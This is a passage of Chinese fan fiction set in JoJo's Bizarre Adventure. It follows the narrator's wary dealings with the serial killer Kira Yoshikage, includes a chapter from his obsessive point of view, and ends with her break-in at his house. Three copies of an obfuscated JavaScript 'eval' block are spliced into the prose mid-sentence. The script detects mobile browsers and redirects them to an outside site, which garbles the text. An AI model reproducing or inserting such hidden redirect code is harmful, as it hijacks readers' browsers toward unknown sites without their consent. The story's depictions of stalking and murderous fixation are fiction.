但是有吃的送给我,不拿白不拿。就算是他烦我的补偿费了。 我笑眯眯地接过这个纸袋,手挡着嘴露出一个傻傻的笑容,用甜到发腻的嗓音说:“谢谢你,吉良,我真的很喜欢吃这个!” 他露出赞许的表情:“我一向讨厌去争抢东西,不过想到或许你会很喜欢,所以我还是去买了。” “我也不喜欢去抢东西。”我没有回应他的示好,只是说,“我更喜欢东西自己送到我面前。但吃这个三明治带给我的满足感超过了我对争抢的厌恶,所以我愿意多花点时间去买它,哪怕我要和一群人挤着抢它。” 吉良吉影听了我的话,露出了一副充满玩味的表情,他侧头打量着我,低声附和:“没错,如果一个东西带给我的满足远超取得她的麻烦,那我也不会介意麻烦些的。” ……我怎么感觉他在暗示我什么。 在我们两个故作虚伪地共同向前走了一百米,天降救星——当然是我的救星。 “喂,那个……仗助的朋友……蕾妮……娜塔莎……蕾拉……蕾娜塔!” 听到身后那人念了好几遍才念对我的名字,我才转过头来,看向他——岸边露伴。 他也撑着一把伞,比吉良吉影的小点,带着奇怪的神色看着我和吉良吉影:“你……” 趁着他那张嘴说话前,我率先装出一副惊喜的模样打断他:“露伴老师!” 喊完,我又戴着一分嘲笑二分欢喜三分期待四分不舍看向吉良吉影:“吉良,他是我特别崇拜的漫画家,我和他一起去画室吧,不劳烦你送了,正好我还有点问题想问他呢。哦,对了,感谢你的三明治。再见!” 说完我没看他脸色,朝他比了个心,然后立刻冲到岸边露伴那边,拉着他加快步伐离开吉良吉影,同时掏出我的机子给阳莱发短信拜托她跟画室老师请个假,我今天不打算去画室了。 谁知道吉良吉影那个神经病会不会蹲在我画室门口。要是他行为过分点,我就可以找警察或者在他的公司散播谣言让他滚远点,但偏偏他很懂得把握那个度,在外人看来他只是个对认识的年轻人友善的上班族! ……心机男,滚啊,我最讨厌金发心机男了。 和岸边露伴共用一把伞会让我的肩膀外侧淋湿,我本着“不想老了得风湿”的理念,外加一点揩油的想法,强行靠岸边露伴近了点。 在我的手臂“不小心”碰到他的腰后侧时,他抖了抖,带着点愠色看向我:“你!” “唉……小嘴巴,闭闭好。”我立刻掐住他的上下唇,强行让它们合住,然后说:“我不想和你谈那个男人的事,烦。不过露伴老师,你怎么会在路上跟我打招呼,我记得你不是那种喜欢主动招呼人的类型啊。” “……你先到我家来一趟吧,这事不方便在外面说。” “哇,你不会是对我图谋不轨吧。” 岸边露伴鄙夷地看着我:“呵,这句话你对东方仗助那家伙说还差不多,我像是那种满脑子黄色废料的男高中生吗?” 我想了想仗助的翘臀和饱满的胸肌,宽肩窄腰,还有可爱的小脸蛋,叹了口气:“图谋不轨的那个人应该是我。” 岸边露伴用一种见了鬼的神情看着我。 ……你清高,你不好色。我好色行了吧。 岸边宅就在这附近,没几步路我们就走到了,在我还犹豫着要不要进去时,岸边露伴从背后推了我一把,我因为没防备着他,跌进了他家门。 岸边露伴神神叨叨地关上他家门,然后说:“我想看看你的替身。” 我:“……不。” “为什么?”岸边露伴很震惊,“我岸边露伴都来拜托你了,你竟然拒绝我!不行,你不能拒绝我。你为什么拒绝我?!” 老实说,虽然我觉得岸边露伴很烦,他太过固执了又好面子,还总是不在乎别人的想法,总是自顾自说话。但是这种人逗起来很好玩,尤其是他现在这副嘴脸。 我反问:“你为什么突然想看我的替身?” 岸边露伴不语,岸边露伴只是从包里掏出了一张纸。我打开发现那是一副儿童画,上面画着一个黑色的火柴人,又瘦又高,还有双畸形的手。 ?什么意思。他孩子画的吗。画的好丑,一点也没遗传到他的绘画天赋。 不过他看上去年纪不大,有孩子吗。 “仗助那小子跟我说,你的替身长这个样子,而且打人很痛很厉害。”岸边露伴说,“我看过好几个人的替身了,基本总结了替身的长相风格,你这个太奇怪了,如果不看看会很亏。” 我盯着他那张满脸写着好奇的脸,叹了口气,叫出了约旦河:“这是约旦河……还有啊,替身是很私密的东西,最好还是不要随便给人看。” “我们之间没必要那么见外。”他摆摆手,开始绕着约旦河转。 哇,这家伙。又自说自话地把我俩的关系升级了一下,他还记得今天是我们第四次见面吗? “我可以碰碰你的替身吗。” “随意。”反正我就算不同意他也会碰吧。 约旦河顺从地弯下腰。岸边露伴伸出手握着约旦河那双奇怪的,畸形的手,时不时捏一把,仔细观察,然后又托着约旦河的脸,轻轻摸着它那张没有任何五官的平坦的肌肤…… 他边对约旦河动手动脚,边拿着小笔记本写着什么,嘴里念念有词,还时不时回头瞟我一眼,似乎在确定我没有想生气。 为什么感觉他回头偷看我的模样,很像那种即将犯贱的奶牛猫。 我怎么会把人类和猫咪联系在一起。 我疯了吗。 看我表情不对,岸边露伴回头解释:“我并不是想占你便宜,如果我的动作让你不舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233705|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你及时提出来就好。” “你对约旦河动手动脚我为什么会觉得不舒服,我对它又没有占有欲。” 岸边露伴的注意力瞬间回到了我身上,他皱着眉,快步走到我面前:“不应该啊……你和你的替身之间不是感官互通吗?” “什么?” 于是岸边露伴跟我解释,几乎所有的替身和替身使者之间都是伤害同步感官互通之类的关系。 显然我和约旦河之间没有这个联系。 正当我消化着关于他那番言论时,我突然想到一个严肃的问题: 他知道共感这事,还对约旦河动手动脚!他什么意思! 我立刻把火力转向岸边露伴:“你——” 他刚刚也在思索着什么,听到我开口立刻转向我,我顿时有种不好的预感。 “天堂之门——” 他对我使用了天堂之门。 …… 那个混蛋。 我确实有想让他帮我看看记忆的念头,但这不代表他可以未经允许就擅自翻动我的记录啊! 所以我一醒来就立刻给了他重重的一拳,把他抡倒在地上,给他脸上来了几拳消气。 他没有一丝生气,反而是瞪大他的双眼看向我:“你果然身上有秘密,你竟然曾经死而复生过!” ……他在说什么,我怎么不知道。我默不作声地收回了拳头。 直觉告诉我,我不应该让他知道:我不知道“我死而复生过”这件事。所以我只慌乱了一秒,就让自己快点镇定下来。 “那又如何。”我毫不客气地说,“就算我身上真有秘密,你也不应该未经允许就对我使用你的替身能力,你应该庆幸我是个善良的好心人,不然你就完蛋了。不过……你没有在我的设定上加些奇怪的内容吧。” “没有。我只看了你的设定……有很多奇怪的地方。”岸边露伴擦了擦他的鼻血从地上爬起来,有点狼狈但也顺眼了不少。嘶能说吗,其实还有点涩情。 他嘀咕着:“但我现在想加上一条永远不许伤害岸边露伴了。” “……我没有那个心思。”我说着递给他纸巾,想让他擦擦鼻血。结果他没接过我的纸巾,反而看了看他手上的鼻血,然后伸出手舔了口。 ?! 我收回我刚刚那个想法。 这时他才看见了我手中的纸巾,挑挑眉一把夺过:“你的书页上有很多马赛克还有大片的空白,阅读有点障碍。不过……” “打住。”我让他闭嘴,“你就这么翻篇了?你刚刚突然把我推倒在地上这事可不是我揍几拳解解气就能过去的。你得付出点诚意,不然我无法相信你。” 岸边露伴闭嘴了,他看上去还想继续那个话题,但又发现我确实在生气,只好放弃,思考了一下,严肃地说:“我告诉你一个情报吧。” “杜王町内潜伏着一个连环杀人犯。他作恶十多年没有被任何人抓到。” ……又来? 不对吧,说好的平静安宁小镇呢?这平静吗,这和谐吗,这安全吗?这合理吗?! 这个小镇真的不是什么漫画电视剧原型吗?要是这个杀人犯再不做人点,马上就可以拍超现实恐怖片了啊喂! “这件事是一个名叫杉木玲美的鬼魂告诉我和康一的……” 在他给我转述杉木玲美的故事时,我的脑子频频闪过我丢失的物件,一次次看似巧合的偶遇,自某一天开始缠着我的若有如无的视线,那人望向我的眼神中藏起来的嫌恶,每次不经意间的触碰,还有那在我家窗外注视我的蓝黑色双眼…… 所有偶然的巧合叠加在一起,我心里的某个猜想便不断膨胀。 岸边露伴还在继续说,而我心中已不可避免地浮现了一个名字: 吉良吉影。 我看向岸边露伴:“你告诉我这件事算不了补偿,因为我敢肯定这事过不了多久整个杜王町的替身使者都会知道。你得换个。” “喂,你太过分了吧。而且你明明之前就有打算让我帮你看你的设定,我只是在你提出这个请求前率先行动了!呵,果然设定上是真的,你这个人就是会……” “唉唉安静点,算了,你请我吃那个另外个替身使者开的意大利餐馆吧。”正好我最近有点落枕,还有点失眠。我得调整下状态了。 他怎么露出一副奸计得逞的欠欠笑容?我不会是被套路了吧。 5. 吉良吉影想要平静的生活 1999年5月5日。对吉良吉影来说,不过是他过去33年人生中一如既往平平无奇的一天。 不,还是有些不同的。 比如说那个突然掉落的戒指盒,比如说那个在他之前捡起戒指盒的……那双手。 那双修长的手在黑丝绒盒的衬托下显得白晢细腻,整只手线条流畅,纤细而匀称,关节处和指尖透着健康的粉红色,指甲色泽均匀而且修剪得很整齐…… 那是吉良吉影见到过最棒的手。手指关节的长度和比例堪称完美,手指一张一合间散发张力和诱惑几乎让他听不见那手的主人在说些什么。 和以往遇见的那些手不同,这双手让他心中骤然腾起了一种难以言说的欲望。如同剧烈摇晃后突然打开的罐装可乐一样,他感觉自己的心随着那手的张合而剧烈跳动。 仿佛回到了儿时他第一次见到蒙娜丽莎时一样,他心中升起了无数危险的想法,而这些想法逐渐下沉,汇聚于一处,于是他……勃.起了。 想得到她,想触碰她,想要将她收纳为他的战利品,想要让她看见那掩藏在皮囊下的真实的他,他感觉自己—— 遇见命中注定的真爱了。 吉良吉影并不喜欢这种如同火山爆发般涌现的情感,他想要的是平静的生活,没有暴烈的喜悦,没有过度的悲伤,如同一颗植物一般的平静的生活。即便他拥有着“不杀人”便无法活下去的性格,但他依然坚信自己可以守住“平静”……这或许就是他的本性吧。 人无法压抑与生俱来的本性。哪怕是暂时的压抑,也一定会在未来迎来某种爆发。 吉良吉影不会做没有准备的工作,于是和以往一样,他选择先考察这个女性。要在合适的地点,恰当的时间选择出击,才能没有后顾之忧。 客观来说,对方是个不错的人。 她每天准时起床,准时出发,准时卡点抵达学校。放学后也会按部就班地去画室,画完画后会认真洗手。一日三餐荤素搭配,营养均衡。每隔一天就会晨跑一次,还会去健身房健身。每天一定会做一次全身护理,睡前一定会进行不少于半个小时不超过两个小时的阅读,做十分钟拉伸运动喝一杯热牛奶再入睡。唯一让吉良吉影不认同的是她的睡眠时长,这个女孩上床关灯时间并不规律…… 与此同时,这个女高中生拥有让人艳羡的人际关系。她虽然是个孤儿,却被一对条件非常好的女同性恋收养,一位似乎是娱乐公司的董事,另一位似乎就是个不务正业的歌手。她有很多和她关系不错的朋友,和很多人关系维持良好,或许是因为她总是挂着恰到其处的微笑吧…… 不过吉良吉影看得出来这家伙并没有露出过几次发自内心的真诚笑容,甚至还会偷偷翻白眼。 呵,虚伪的女人。 她的社会地位和人际关系让吉良吉影觉得麻烦,这样的人突然消失一定不会像一个水滴掉入大海中一样悄无声息。 但这不是吉良吉影迟迟不对她下手的原因。让他只能默默监视她,偶尔无法忍耐的情况下才去尝尝甜头的原因是: 那女人和他有着相同的能力。 在他第一天开始考察她时,一个通缉犯挡住了那女孩的路。 吉良吉影自然不会出手帮忙,甚至还期待那个通缉犯杀掉那女孩,这样他就可以直接去偷偷取下她的手就好了。 可是那个女孩的身后突然浮现了一个恶灵。 然后,那个作恶多端的通缉犯便被她打败了。 这个过程甚至连一分钟都没有。那女孩对抗那个可怕的通缉犯,就像他杀死那些女人一样轻轻松松。 她看到那个通缉犯断成了两半甚至没有尖叫反而是露出了一个松了口气的表情……显然她处理过不少这样的图谋不轨的人 。 要是她知道他的想法,也会这样处理他吗? 吉良吉影想象了一下杀手皇后和她身边那个丑陋的恶灵对上的情景,他只觉得…… 更兴奋了。 如果说之前仅仅只是对手的渴望,想看到那女孩挑不出毛病的得体的表情破碎,期待能够看到这个女孩和之前他杀死的每一个女人脸上,露出一样的表情:恶心,恐惧,厌恶,不可思议,懦弱…… 那么现在他心里的欲望超乎寻常地强大了起来,那澎湃的征服欲达到了巅峰。 这个自以为自己很强大的女孩在被他杀死前一定会露出比之前更精彩更完美的表情吧! 或许会比之前要棘手一些,但是没关系,这个世界上没有他吉良吉影无法解决的问题。 就像是他回答的那样:“如果一个东西带给我的满足远超取得她的麻烦,那我也不会介意麻烦些的。” 本来,他是打算做好充足的准备……可以让他一击即中的,充足的准备……本来,他是这么打算的。 看看他对她有多宽容啊! 看到她快迟到了,他主动提出开车送她去学校。怕伤到她手了,主动用杀手皇后解决了那些可能刮到碰到她手的无用的配件。担心削笔刀伤到她的手,提前到画室为她削笔放到她的笔盒里。看她画不出画焦虑到睡不着觉,主动请她吃冰淇淋…… 可是她呢? 竟然说让他不要再视奸她了? 她对他这种男人毫无兴趣??! 明明她对他所做的一切都安心受用了? 她懂什么!这个不知天高地厚的没有眼力见的小鬼…… 但他吉良吉影一向擅长原谅蠢货。毕竟在这个世界上,蠢货总是到处跑。 所以在那个雨天,他还是举着伞朝她走去,甚至还带着她一向爱吃的很难抢到的三明治。 可她竟然拒绝了他吉良吉影转向另外一个不知天高地厚,不务正业的漫画家?! 甚至还拿她的手去挽住那个相貌令人憎恶的穿搭品味堪忧的男人!还和他一起去约会?! 她怎么敢拿她的手去碰别的男人?! 她怎么敢!!! 无法原谅无法原谅无法原谅无法原谅无法原谅无法原谅无法原谅无法原谅无法原谅无法原谅无法原谅无法原谅…… 隔着窗户,吉良吉影注视着那女孩握着他以外的男人的手,嘲讽地笑了笑,像是在嘲笑她的无知与自大: “这都是你咎由自取的,女孩。” ** 岸边露伴是个想到什么就做什么的男人。哪怕他刚刚因为惹我被我揍了,他当天晚上就跟没事人一样带我去意大利餐厅吃饭了。 有人请吃饭,不吃白不吃。我当然去啦! 等上菜的时候,岸边露伴跟我随口提了一句:“康一好像恋爱了,恋爱对象是那个神经质的女人,山岸由花子。你知道吗?” 等等,谁和谁? …… 我去啊!!!! 广濑康一那小子,那小子,竟然和山岸由花子谈恋爱了???!!!! 广濑康一那个矮冬瓜,和山岸由花子!!山岸由花子啊!就是我们学校那个著名的大美人之一山岸由花子啊! 就是那个个子高挑,身材婀娜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233706|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多姿,有着和露伴老师一样迷人可口的腰,配上那一头飘逸的黑色长卷发,还长着一张清冷感十足的绝美面庞,美到我可以十天不吃不喝的大美人——山岸由花子啊! “凭什么啊为什么啊为什么啊我不能相信我不敢相信,是梦吧是梦吧,一定是梦吧。” 我生无可恋地把脸埋在在意大利餐馆的桌上,感觉自己的世界观已破碎。 岸边露伴面露疑惑:“你……喜欢康一?” “你终于疯了吗。” 在我生无可恋地思考为什么广濑康一这小子运气这么好时,这家餐馆的老板兼主厨端着一盘沙拉来了。 “请享用,这是海鲜沙拉。”主厨介绍着这道海鲜沙拉的原材料,以及功效……介绍的很认真,我一句没听,只想埋头干饭。 我只吃了一口,便知道这厨师非常不得了! 我的妈呀,我的妈妈咪呀,我的妈呀!这也太美味了!太震撼了!太美味了!美味至极!我这辈子没吃过这么美味的东西! 美味到我哭出来了啊…… “看来你最近果然压力很大,用眼疲劳了吧。”主厨微笑着,“希望你今晚能睡个好觉。” 我这才看向这个主厨。 他穿着非常符合厨房卫生标准的厨师服,头发都有好好地扎在帽子里,没有露出一根发丝。标准的外国人金发蓝眼帅哥模样,即便穿着厨师服也无法掩盖他强健有力的肌肉,他带着温和而欣赏的神色看着我享用他的料理。 虽然他长的好看,但这不重要,重要的是他真的太会做饭了。 “这里的菜也太美味了呜呜呜我真的应该听亿泰的话,早点来这里吃的呜呜呜。”我边吃边流下感动的泪水,“大厨,你真的太厉害了,太伟大了……” 印象分加分!加分加分加分!给我狠狠加分!现在这个男人是我认识的男人里最好的那个了,我得想个办法和他成为挚友! 不顾岸边露伴一副“你就这点出息”的鄙夷表情,我抄起玻璃杯喝了一口鲜榨果汁,发自内心地感叹:“大厨,这也太美味了。这不仅仅是意大利菜吧?我感觉我还尝出了点其它地区的风味。” “你是叫蕾娜塔对吧?我听虹村先生提起过你。”大厨带着温和的微笑看着我,“我很喜欢料理,所以早年周游世界品尝不同国家料理。这些菜都是我融合了其他国家料理和意大利本帮菜做出的。” “料理天才啊……对了,大厨你叫什么呢?” “我名叫托尼欧.托拉沙迪,叫我托尼欧就行了。”他朝我眨眨眼睛,用意大利语说的。 哇,虽然我对意大利没什么归属感。但那毕竟算是我的故乡,而且我在那里还度过了不错的童年时光呢。 所以我听到这地道味十足的意大利语立刻激动地站起来,手舞足蹈地和他攀谈上了。 期间岸边露伴咳了好几声,我都假装没听到继续和脱尼欧说着意大利,意大利菜,还有日本菜,中国菜,美国菜,泰国菜,越南菜…… 在托尼欧表示他欢迎我来他这里品尝新菜品,我在心中欢呼,激动地抱着托尼欧转了几个圈时—— “喂,你们两个到底要忽略我岸边露伴到什么时候!” 岸边露伴拍桌而起,但对上我的眼神后,他又默默坐下了。 结局想也不用想。 这家伙生气了。 谁理他啊,生他的气去,关我屁事。 我话是这么说的。但我还是为了哄他请他去吃冰淇淋了。 ……可恶啊。 6. 恶灵缠身 “我的名字叫努.未起隆.恩西。” “我知道了……那什么,我有点私事要处理,劳驾?” “我的名字叫努.未起隆.恩西。” “额我叫蕾娜塔。我刚刚已经跟你说过了。” “我的名字叫努.未起隆.恩西。” “……” 这个对话,这个让人迷惑的对话,已经重复了十遍了! 我望着站在我面前挡着我不让我进小巷的男性。他有着一头柔顺的白金色长发和一对精灵耳,睫毛又密又长。他眼睛一片澄澈,有种和这个世界不熟悉的非人感,我想小说里描写的不入人世的精灵或许就长这样。 众所周知,我一向对美人,长发美人,尤其是有些呆萌的长发美人有着很好的耐心。 但是这不代表他可以挡在我面前一直重复他的名字不下十遍!我不是已经告诉他我叫什么了吗?他还要在那自我介绍多久。 如果说前面三次,我还有对笨蛋美人的包容。那么现在我就只有不耐烦了。 于是我直接说:“那个什么……算了你说了十遍我也记不住你的名字。我还有急事,你别堵着我好吗?脑子有问题去医院,语言功能有障碍也请去医院,总之别找我,买保健品可以来找我。” 白色长发美人恍然大悟地看向我,不知道他到底懂了什么:“你可以叫我未起隆。” “好……未起隆。你有什么事吗?” 然后,他沉默了。 他沉默了?! 在我快要发飙了的时候,他终于开口了,他说:“我来自麦哲伦星云,你呢?” ……他在干嘛? 假扮外星人吗。 …… 哦,原来是中二病啊。 我假装思考了一下,然后认真地回复:“我来自海拉鲁。” 他那双跟机器人一样的眼睛顿时闪闪发光,这让他看上去像个快乐的小狗:“我没听说过海拉鲁星系,想必它一定很远吧?” 我叹了口气;“确实很远。” “你也是替你的星系寻找宜居点才来到地球的吗?” ……妈呀这年头中二病的世界观越来越完善了啊。门槛有点高,我就不加入了。 我很认真地说:“不,我是来地球试炼的,通过试炼后我就可以回到海拉鲁从盖侬手里救出塞尔达公主。” “看来你们的星球还没有被毁灭啊,真是太好了,祝你能够早日解救塞尔达公主。” 他看上去好像真的很入戏。 这小子是不是刚刚跟自己安了一个背景凄惨孤苦伶仃的逃难者背景。哇塞,学不会学不会。 我故作悲痛地点点头,一手握拳锤了锤胸口,转而说:“不过我现在要去办点私事,就不和你多说了,祝你考察地球顺利。加油啊,未……额。” “未起隆。” “加油啊,未起隆!” 我以为这就完了。但显然对方不这么想,他没挡我路了,反而跟了过来问:“你要去哪?前面不是好地方。” “……你看得见那个小巷?”我转头,“我就是要去那个小巷。那个[永不回头的小巷]。” 昨天岸边露伴跟我提到的关于杉木玲美的故事让我很在意。我怀疑吉良吉影可能就是那个巷中鬼魂寻找的潜藏了十几年的杀人犯,因为他的所作所为还有他的眼神……都让我有种很不安的感觉。 于是我在今天一起床便打算去那条小巷内见见杉木玲美。 结果就被这家伙盯上了。 我转头,语重心长地说:“既然你知道这个小巷的存在,那你也一定知道我是去找鬼的吧。乖,回家去玩吧。” 未起隆眯了眯眼睛看着我,露出一个浅浅的微笑:“我和你一起吧,万一你不小心回头了可就糟糕了。对了,你现在是不是不可以变成其它形态?我感觉你的状态似乎不太好。” 不要给我补充莫名其妙的设定啊,我看着未起隆说:“你想错了,我的状态很好,不过你想跟过来就跟过来吧。” 说着我把约旦河叫了出来,准备让约旦河给未起隆的后颈来一击,结果约旦河一现身,未起隆的目光就立刻看向了约旦河。 我大吃一惊:“你也看得见替身?你也是替身使者?!” “它叫替身吗?”未起隆思考了一下,“我不是替身使者啊。我和你一样,来自地球外。” 没救了,这孩子。 我带着怜悯的眼神看着未起隆的漂亮小脸蛋,悲哀地叹了口气,默认了他想跟过来的想法。 不过杜王町这里怎么这么多替身使者,我记得我以前在东京把约旦河叫出来也没人看得见它啊。 该不会真的是因为替身使者之间是相互吸引的吧……给我把引力改成斥力啊。 难得被我叫出来放风的约旦河显然不愿意消失,它环顾四周然后低头悄声说着:“我不建议你去那个小巷。那里很麻烦。” 我没好气地说:“你少管我。”然后转身走进了那个小巷。 我一走进小巷就有个长相甜美的女孩探头:“你是小露露的朋友吗?”她带着可爱的笑容,脸上还有俏皮的小酒窝,像块美味的草莓小蛋糕。 小露露……不会是指岸边露伴吧?天才啊,找个机会我也要管岸边露伴叫小露露试试。 我点点头:“我的名字是蕾娜塔。从岸边露伴那里听说了杀人犯的事情,有点在意就来找你了。因为那家伙说的不够详细,我想听更详细的故事。” “哎?好哦,正好也很少有人找我聊天。那我就详细点吧……不过你旁边这位是?” “我的名字叫努.未起隆.恩西。” “……他是我朋友,你不需要在意,讲就好了。” 从杉木玲美那里我知道了这个故事的全头全尾,包括杉木玲美听到的那个杀人犯所说的每一句话,我甚至还知道了岸边露伴当时也在场这件事。这家伙真是大难不死的男孩……不过他能这么幸运活下去,要多亏这个好心的女孩。他真是幸运A啊。 我看向杉木玲美,犹豫了一下要不要告诉她我怀疑吉良吉影可能就是那个杀人犯,最终我还是放弃了。 因为我并不确定,只是怀疑。而这份怀疑也可能只是我想为我接下来做的事找的一个借口。 我打算监视吉良吉影了。 ** 我对跟踪视奸这一类行为非常不齿,但是这并不妨碍我在下个周六就开展了我的跟踪吉良吉影计划。 其实我周五放学就开始跟踪他了。但这家伙的作息实在太规律了太无聊了,很没意思。所以我临时转变了计划,我决定在周六趁他去上班时去他家里倒腾一下。 吉良吉影开车离开后一个小时,我就拜托约旦河帮我避开所有摄像头,潜入了他家。 这家伙的宅子很空荡,没有什么特别的装饰,看着跟样板房一样,甚至连书桌上摆放的书籍都只是经典世界名著。 他家和他这个人一样很寡淡……但或许我仔细找找,会发现什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233707|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我惊喜的东西。 我先是看到了他墙上挂着的奖章,全是第三名。无论是什么规模大小,难度高低,他都拿那个恰好的第三名。 不会让别人觉得了不起但也不会让人瞧不起的第三名吗……这家伙是不是对平凡有着一种追求,但又无法忍受他人不够尊敬自己? 真是矛盾。如果是我,我就会尽全力做到最好,这样才是赢得他人尊重的最简单粗暴的方式,因为人都是慕强的。 嘶,我和这家伙果然波长完全合不来。 我随便翻了翻相册,感叹了一下他收拾的异常整齐的桌子,然后就打开了另一个柜子。 如果说在打开那个柜子前,我只觉得他有点强迫症,那么在看到那个柜子里一堆瓶瓶罐罐我就得给他加上一条“有点神经”的印象了。 “你觉得这是什么?”我小心翼翼地拿起这个玻璃瓶,晃了晃里面的东西。虽然我为了防止留下指纹专门戴了手套,但我依然很担心一不下心会留下什么痕迹。 约旦河知道我是在问它,端详了一会便说:“人类的指甲。” ????? 我感觉我不敢相信自己听到了什么:“你说什么。” “这个瓶子里装的是人类的指甲。” 我目瞪口呆地看向那一抽屉的瓶瓶罐罐:“……全,全是吗?” 约旦河点点头。我立刻跟触电了似的,把这个瓶子放了回去,想用手腕给自己擦擦汗,但因为考虑到我刚刚拿了那个瓶子,最终还是放下了手。 我面露难色:“算了,今天就到这里吧。我先走了……” “那个房间,蕾娜塔。”约旦河把手放在我的肩膀上,弯下身子在我耳边呢喃,“去那个房间看看吧。” 我心里有些抗拒,但一想到我今天没在他家发现什么有用的东西,还是选择了再多看看。 “打开那个柜子吧。蕾娜塔。”约旦河轻声说着,它那雄雌莫辨的有些机械的嗓音让我有些不适。 我没有动,转头看向它没有任何五官和表情的空白的面庞:“那里面有你想要的东西吗?” “我不确定,只是有些在意……或许你不打开才好,那里面似乎也有不太妙的东西。” 我闻言立刻打开了那个柜子:“那我肯定要看看里面有什么——嗯?” “这是什么?”我拿起那个柜子里的东西,那是一把做工漂亮的箭还有一把弓,看上去价值不菲,还散发着很不妙的气息。 约旦河没有说话,只是静静地看着这把箭。因为它没有五官,所以我也不知道此刻它在想什么。 “喂,这个时候就不要装哑巴了,你知道这是什么吧……”我不耐烦地说,但在这个时候电话声突然响起了。 我怔住了,并没有跑去接通电话,而是把箭塞给了约旦河,直觉告诉我这把箭很重要,所以我没有把它放回去。 但是我没有去接电话,电话反而自己被接通了:“蕾娜塔啊,你真的很不乖。” 我立刻刹住准备往外走的脚,转身朝那个电话走去。 无人接通的电话传出了那道让我耿耿于怀的声音:“明明我都打算再给你一次机会了,你为什么不乖一点呢?” 是吉良吉影。 我猛地冲到窗边,和站在院子门口的拿着电话的吉良吉影相对视,他嘴上说着温柔的苛责的话,蓝黑色的眼睛却暴露了他的真实想法 他很愉悦。 他说:“你是不是忘了,周六,我也不上班。” 7. 逆转沙漏 其一 完蛋了。 我忍不住咬紧下唇开始慌乱地走过来走过去。 靠,这家伙的宅子没有后门。 滚蛋啊!凭什么你周六不上班,你这个可恶的清闲的上班族,我讨厌你。 吉良吉影出现在门口,他看着我收了笑容:“进入室内前要在玄关脱鞋,这可是日本社会的基本礼貌啊。” 我紧张地盯着吉良吉影换下他的皮鞋,默默让约旦河靠我近点。虽然我并不喜欢约旦河,但我不得不承认,这是我最大的保障。 我曾经为了在遇到流氓傻逼混混时可以打爆他们的头而练过,但那也只是相对一般人而言稍微能打点。如果吉良吉影真的是那个连环杀人犯…… 那光凭我肯定打不过啊!还是求助一下超自然神力吧,就是这么秒变态度呵呵。 可吉良吉影个子并不高大,看上去也没啥肌肉,真的是那种穷凶极恶的罪犯吗……不对,他穿着西装呢,也许是那种穿衣显瘦脱衣有肉的类型。 吉良吉影并没有直接朝我走来,而是走过去打开他的收音机,紧接着收音机便就传出来了音乐: “When I was just a little girl,I asked my mother……” 收音机内传出女人的欢快轻松的嗓音,与那歌曲的快乐愉悦的心情相反,我感觉我的嗓子像是被一个鱼钩勾住了一样,心脏跳的太快以至于我感觉它快因为过度运转而停止跳动…… 我明白这种感觉叫什么。 不安与恐惧。 他为什么要放音乐,又为什么专门挑了一首这样愉快的流行歌曲。如果是想要恐吓我,难道不是应该恐怖的音乐更合适吗? 他到底在想什么,我搞不明白啊,他到底是不是那个杀人犯,还是一切都只是我的臆想? 他知道我在跟踪他吗?该不会从昨天一开始他就知道了吧……但他为什么不制止我,反而要等我把他宅子翻一个小时才慢悠悠地突然出现? 是为了恐吓我吗,还是为了更好地杀死我? 我知道我很紧张,因为我一旦变得紧张便会开始胡思乱想。时钟嘀嗒嘀嗒的声音和收音机里欢快跳脱的女人的歌声在我们两个之间回荡,我感觉这一刻被不断拉长,一秒仿佛有一整年那么长。 吉良吉影一动不动地看着我,眼底和嘴角都挂着浅浅的笑意。 发自真心的笑容。 我握住约旦河那双畸形的手,警惕地往后靠:“你什么意思?” “没什么特别的意思。”他终于开口了,却转过身去将背对着我,“你在我的宅子里又发现什么吗,嗯?我可是给了你足足一个小时的空余时间,希望你能找到一些有意思的。” 他说着拿起了他的相册:“你看了我小时候的照片吗?里面还有我参加运动会的照片呢。” “说实在的,我讨厌比赛,但还是得为了少点麻烦不得不参加一些比赛……哼。只有不够信任自己强大的人才需要这些东西来证明,你也是这样觉得的吧?” 不,我不这样觉得,你别猜我的心思了,我也不想知道你在想什么了,我讨厌动脑子,你到底在干嘛。 我看着他有些防备地开口:“你认识杉木玲美吗?”与此同时,我立刻让约旦河缓缓靠近他,可就在这时!他的身后立刻显现了一个粉红色的替身。 ?! 我立刻让约旦河回来:“你看得见替身?!你也是替身使者。” “原来你们管这个叫替身……”他的手摩挲着下巴露出了一个意味深长的笑容:“不过无所谓了,呐,你知道……为什么我会接近你吗?你可以猜猜看。” “喂,杉木玲美说的那个潜藏在小镇十多年的杀人犯是你吧?”我指着他说。 吉良吉影的表情有些破裂:“我说,别用另一个问题来回答我的问题啊!” 